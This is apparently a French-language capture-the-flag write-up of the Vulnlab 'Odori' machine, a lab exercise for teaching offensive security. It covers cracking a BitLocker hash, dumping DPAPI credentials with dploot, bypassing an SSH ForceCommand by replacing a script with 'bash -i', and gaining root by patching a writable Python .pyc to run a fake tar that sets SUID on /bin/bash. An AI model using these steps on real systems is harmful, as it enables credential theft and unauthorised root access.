Writeup Odori Vulnlab
OSDifficultyTarget
LinuxMedium10.10.76.27

Dans ce writeup d’Odori de chez Vulnlab, partons ensemble dans du forensics, de la configuration ssh ainsi que du bytecode python.

🔭 Enumeration

Tout d’abord nous commençons par un scan simple du réseau.

nmap odori.vl
Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-24 20:57 CET
Nmap scan report for odori.vl (10.10.76.27)
Host is up (0.018s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 0.77 seconds

Les ports ouverts sont:

PORTSERVICE
22SSH
139SMB
445SMB

Puisque SMB semble ouvert, regardons ce qu’il a nous offrir.

smbclient -L \\odori.vl
Password for [WORKGROUP\root]:

    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    backup          Disk      Server Backups
    IPC$            IPC       IPC Service (odori server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

backup est un répertoire accessible pouvant nous intéresser:

smbclient //odori.vl/backup
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jan 11 12:24:21 2025
  ..                                  D        0  Sat Jan 11 20:42:23 2025
  info.txt                            N       59  Sat Jan 11 12:24:21 2025
  file02.vmdk                         N 20051394560  Sat Jan 11 14:38:01 2025

        28784764 blocks of size 1024. 1645048 blocks available

Le fichier info nous informe qu’on peut télécharger l’image disk sur le wiki de Vulnlab.

👣 Foothold

Extraction de l’image disque

Nous le téléchargeons à partir du wiki et procédons à l’extraction de l’archive avec le paquet p7zip-full.

7z x file02.7z

Nous listons les partitions et extrayons la partition 2. Basic data partition.img

7z l file02.vmdk

7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit locale=fr_FR.UTF-8 Threads:16 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 20051394560 bytes (19 GiB)

Listing archive: file02.vmdk

--
Path = file02.vmdk
Type = VMDK
Physical Size = 20051394560
Total Physical Size = 20051394560
Method = "monolithicSparse"
Cluster Size = 65536
Headers Size = 2686976
ID = d5f179cb
Name = Odoru-File02.vmdk
Comment =
{
# Disk DescriptorFile
version=1
encoding="windows-1252"
CID=d5f179cb
parentCID=ffffffff
createType="monolithicSparse"

# Extent description
RW 41943040 SPARSE "Odoru-File02.vmdk"

# The Disk Data Base
#DDB

ddb.adapterType = "lsilogic"
ddb.geometry.cylinders = "2610"
ddb.geometry.heads = "255"
ddb.geometry.sectors = "63"
ddb.longContentID = "d25a0680c8033aa715ed9e10d5f179cb"
ddb.toolsInstallType = "1"
ddb.toolsVersion = "12325"
ddb.uuid = "60 00 C2 9b bb f5 16 de-cf e0 d8 44 12 36 d9 dc"
ddb.virtualHWVersion = "20"

}
----
Size = 21474836480
Packed Size = 20048707584
--
Path = file02.gpt
Type = GPT
Physical Size = 21474836480
ID = 4F0FE686-C388-4F42-89C7-E753DB92E87B

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
                    .....    104857600    104857600  0.EFI system partition.img
                    .....     16777216     16777216  1.Microsoft reserved partition.img
                    .....  20800602112  20800602112  2.Basic data partition.img
                    .....    549453824    549453824  3.ntfs
------------------- ----- ------------ ------------  ------------------------
                           21471690752  21471690752  4 files

On voit 4 partitions, la 2.Basic data partition est celle qu’il nous faut. Extraction de l’img.

7z e file02.vmdk '2.Basic data partition.img'

7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit locale=fr_FR.UTF-8 Threads:16 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 20051394560 bytes (19 GiB)

Extracting archive: file02.vmdk
--
Path = file02.vmdk
Type = VMDK
Physical Size = 20051394560
Total Physical Size = 20051394560
Method = "monolithicSparse"
Cluster Size = 65536
Headers Size = 2686976
ID = d5f179cb
Name = Odoru-File02.vmdk
Comment =
{
# Disk DescriptorFile
version=1
encoding="windows-1252"
CID=d5f179cb
parentCID=ffffffff
createType="monolithicSparse"

# Extent description
RW 41943040 SPARSE "Odoru-File02.vmdk"

# The Disk Data Base
#DDB

ddb.adapterType = "lsilogic"
ddb.geometry.cylinders = "2610"
ddb.geometry.heads = "255"
ddb.geometry.sectors = "63"
ddb.longContentID = "d25a0680c8033aa715ed9e10d5f179cb"
ddb.toolsInstallType = "1"
ddb.toolsVersion = "12325"
ddb.uuid = "60 00 C2 9b bb f5 16 de-cf e0 d8 44 12 36 d9 dc"
ddb.virtualHWVersion = "20"

}
----
Size = 21474836480
Packed Size = 20048707584
--
Path = file02.gpt
Type = GPT
Physical Size = 21474836480
ID = 4F0FE686-C388-4F42-89C7-E753DB92E87B

Everything is Ok

Size:       20800602112
Compressed: 20051394560

Extraction du hash bitlocker

Pourquoi l’extraction de l’image ? En voulant monter le disque dans une VM nous pouvons voir que le disque est protégé par Bitlocker. L’extraction, et par définition le fichier .img, possède les hashes de bitlocker. Tentons de les extraire et de les déchiffrer pour voir si on est sur la bonne piste. Nous utilisons donc bitlocker2john un outil disponible dans Exegol permettant d’extraire les hashes d’un volume chiffré.

bitlocker2john -i ./2.Basic\ data\ partition.img | tee hash
...
$bitlocker$....

Nous avons bel et bien le fichier hash contenant les différents hashes du volume. Passons-les maintenant à la moulinette avec Rockyou.

john --format=bitlocker hash /opt/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
...
<REDACTED>

Montage du disque

Le mot de passe de Bitlocker obtenu, nous pouvons désormais monter le disque et commencer à inspecter ce dernier. Après plusieurs recherches sur comment monter et déchiffrer un disque, nous avons utilisé Cryptsetup qui est un utilitaire permettant chiffrer, monter et ouvrir des volumes. Nous vous recommandons de suivre la documentation de cet utilitaire: Documentation Une fois la commande d’ouverture saisie, cryptsetup a mapper le disque dans /dev/mapper/odori. Il nous suffit ensuite de créer un dossier et de monter le disque dans ce dernier.

sudo cryptsetup open --type=bitlk .exegol/workspaces/Odori/2.Basic\ data\ partition.img odori
mkdir ./mount
sudo mount --ro /dev/mapper/odori ./mount

---

Fouillons ce disque Windows.

~/mount                                                                                               10:09:47
❯ ls
       $Recycle.Bin/                 pagefile.sys               Scripts/
       $WinREAgent/                  PerfLogs/                  System Volume Information/
       Config/                       ProgramData/               Users/
       Data/                         Program Files/             Windows/
       Documents and Settings        Program Files (x86)/
       DumpStack.log.tmp             Recovery/

Le premier flag se situe dans le répertoire Desktop de Administrator.

~/mount/Users/Administrator/Desktop                                                                   10:13:28
❯ cat flag.txt

Jusqu’ici tout se déroule rapidement, mais maintenant que faire? Nous n’avons aucun credentials nous permettant, potentiellement, de nous connecter en SSH. En cherchant des ressources pour nous aiguiller, nous sommes tombés sur The Hacker Recipes

The DPAPI (Data Protection API) is an internal component in the Windows system. It allows various applications to store sensitive data (e.g. passwords). The data are stored in the users directory and are secured by user-specific master keys derived from the users password.

Nous avons essayé dploot avec l’option machinetriage, regroupant la recherche d’identifiants en combinant trois options (machinecredentials, machinevaults, machinecertificates).

 dploot machinetriage -root . -t local
dploot (https://github.com/zblurx/dploot) v3.1.2 by @_zblurx
[*] Connected to local as \ (admin)

[*] Triage SYSTEM masterkeys

{0fa91fd0-990c-4a7e-b7a9-e9cd72b0e344}:fc042cf803faef70864beab0eed18d5a2c820aad
{23c71bc0-dcbc-448f-b144-26c2296c1dd7}:728e7e2ac5a64d58b6a4f75f7c6d4d12de3a2aa7
{4d0608b6-2a96-4d6b-9c81-b03c91485ea6}:989f9583c972b6859f4c38742aba0481dfc82b37
{bb3025a7-e7d7-405e-bb83-13113f771deb}:2dac27377eb1b611fa5a88598dc5b8c1f7a0fdbd

[*] Triage SYSTEM Credentials

[CREDENTIAL]
LastWritten : 2025-01-11 13:27:40
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8}
Description :
Unknown     :
Username    : FILE02\svc_backup
Unknown     : REDACTED

[*] Triage SYSTEM Vaults

[*] Triage SYSTEM Certificates

Nous récupérons le mot de passe et le service associé ‘svc_backup‘.

Les connexions interactives ne sont pas possible en ssh. Nous décidons d’essayer scp pour télécharger les fichiers et voir ce qui se cache dans la configuration du service ssh. Nous récupérons tout le répertoire /home/svc_backup dans un premier temps. Le second flag s’y trouve.

scp -r svc_backup@10.10.76.27:/home/svc_backup .
svc_backup@10.10.76.27's password:
flag.txt                                                                     100%   37     0.1KB/s   00:00
.bash_logout                                                                 100%  220     5.8KB/s   00:00
authorized_keys                                                              100%  180     5.2KB/s   00:00
scp: download /home/svc_backup/.bash_history: not a regular file
scp: Download of file /home/svc_backup/.bash_history to ./svc_backup/.bash_history failed
.profile                                                                     100%  807     9.3KB/s   00:00
.bashrc                                                                      100% 3771   113.9KB/s   00:00

Puis on télécharge le fichier de configuation SSH /etc/ssh/sshd_config. Pour gagner un peu de temps dans la lecture du fichier, la commande grep permet de retirer tout ce qui commence par # ou $.

scp -r svc_backup@10.10.76.27:/etc/ssh/sshd_config .

grep -Ev '^\s*(#|$)' sshd_config

Include /etc/ssh/sshd_config.d/*.conf
PermitRootLogin yes
KbdInteractiveAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem    sftp    /usr/lib/openssh/sftp-server
Match group svc_backup
    ForceCommand /opt/restrict /home/%u
    AllowTcpForwarding no

La connexion ssh ne se faisait pas car l’option susbsystem renvoi sur un serveur sftp. Tentons de nous connecter sur ce protocole et de voir le fameux fichier /opt/restrict noté dans le fichier de configuration ssh.

sftp svc_backup@10.10.76.27
svc_backup@10.10.76.27's password:
Connected to 10.10.76.27.
sftp> ls -la
drwxr-x---    5 svc_backup svc_backup     4096 Jan 15 20:39 .
drwxr-xr-x    4 root     root         4096 Jan 11 10:48 ..
lrwxrwxrwx    1 root     root            9 Jan 11 10:49 .bash_history
-rw-r--r--    1 svc_backup svc_backup      220 Jan 11 10:48 .bash_logout
-rw-r--r--    1 svc_backup svc_backup     3771 Jan 11 10:48 .bashrc
drwx------    2 svc_backup svc_backup     4096 Jan 11 10:53 .cache
drwxrwxr-x    3 svc_backup svc_backup     4096 Jan 15 20:39 .local
-rw-r--r--    1 svc_backup svc_backup      807 Jan 11 10:48 .profile
drwxr-xr-x    2 svc_backup svc_backup     4096 Jan 11 10:50 .ssh
-rw-rw----    1 svc_backup svc_backup       37 Jan 15 20:39 flag.txt
sftp> cd /opt
sftp> ls
archiver  restrict
sftp> ls -la
drwxr-xr-x    3 root     root         4096 Jan 11 19:44 .
drwxr-xr-x   21 root     root         4096 Jan 11 19:42 ..
drwxr-xr-x    3 root     root         4096 Jan 16 21:15 archiver
-rwxrwxr-x    1 svc_backup root           48 Jan 11 19:44 restrict
sftp> get restrict
Fetching /opt/restrict to restrict
restrict                                                                     100%   48     1.4KB/s   00:00

Le script restrict récupéré, voyons ce qu’il donne:

cat restrict
#!/bin/bash

/usr/lib/openssh/sftp-server -d $1

On remplace le script par bash -i puis on se connecte en ssh après avoir uploadé le nouveau restrict avec scp.

ssh svc_backup@10.10.76.27

svc_backup@10.10.76.27's password:
svc_backup@odori:~$ ls
flag.txt

Maintenant que nous sommes en ssh, ce sera plus simple de naviguer sur le serveur. Lorsque nous avons récupéré restrict, nous avons noté un répertoire Archiver.

🎯 Privilege Escalation

svc_backup@odori:/opt/archiver$ ls -la
total 20
drwxr-xr-x 3 root root 4096 Jan 16 21:15 .
drwxr-xr-x 3 root root 4096 Jan 11 19:44 ..
-rw-r--r-- 1 root root  812 Jan 11 19:42 app.py
-rw-r--r-- 1 root root  412 Jan 16 21:15 helper.py
drwxr-xrwx 2 root root 4096 Jan 16 21:15 __pycache__

Nous n’avons aucun droit d’écriture sur les deux scripts. Cependant… Le répertoire __pycache__ l’est. Jetons un oeil à l’ensemble:

Le script app.py:

import os
from datetime import datetime, timedelta
from helper import tar_and_move_files

backup_dir = '/backup'
archive_dir = '/archive'
threshold_date = datetime.now() - timedelta(days=3*365)

def scan_and_archive_files():
    if not os.path.exists(archive_dir):
        os.makedirs(archive_dir)
    for root, dirs, files in os.walk(backup_dir):
        for file in files:
            file_path = os.path.join(root, file)
            file_mod_time = datetime.fromtimestamp(os.path.getmtime(file_path))
            if file_mod_time < threshold_date:
                print(f'Moving {file_path} to archive...')
                tar_and_move_files(file_path, archive_dir)
            else:
                print(f'{file_path} is not old enough to archive.')

if __name__ == '__main__':
    scan_and_archive_files()

Helper.py

import os
import subprocess
from datetime import datetime

def tar_and_move_files(file_path, archive_dir):
    current_date = datetime.now().strftime('%Y-%m-%d')
    tar_filename = os.path.join(archive_dir, f'{current_date}_{os.path.basename(file_path)}.tar.gz')
    subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", os.path.dirname(file_path), os.path.basename(file_path)])
    os.remove(file_path)

En regardant diverse source sur le bytecode, nous allons devoir jouer avec pour devenir root. Mais comment s’y prendre ? Si nous manipulons le fichier cache de façon à ce que Python l’utilise, nous pourrions peut-être obtenir un shell root. Si le script trouve un fichier de plus de 3 ans, il le déplace avec helper.py qui lui-même appelle /usr/bin/tar. En remplaçant le binaire par un faux, nous devrions obtenir le shell root après ajout d’un fichier.

sed -i 's|/usr/bin/tar|/tmp/bin/tar|' helper.cpython-310.pyc

Création d’un dossier et du faux binaire tar:

mkdir -p /tmp/bin

cat /tmp/bin/tar

#!/bin/bash
chmod u+s /bin/bash

Création d’un fichier avec date et heure spécifique:

touch -d '2015-05-08 13:12:24.000000000 +0000' /backup/ancien

Attendons quelques instants que les scripts se lance puis lançons la commande qui suit:

bash -p

bash-5.1# id
uid=1001(svc_backup) gid=1001(svc_backup) euid=0(root) groups=1001(svc_backup)
bash-5.1# cat /root/root.txt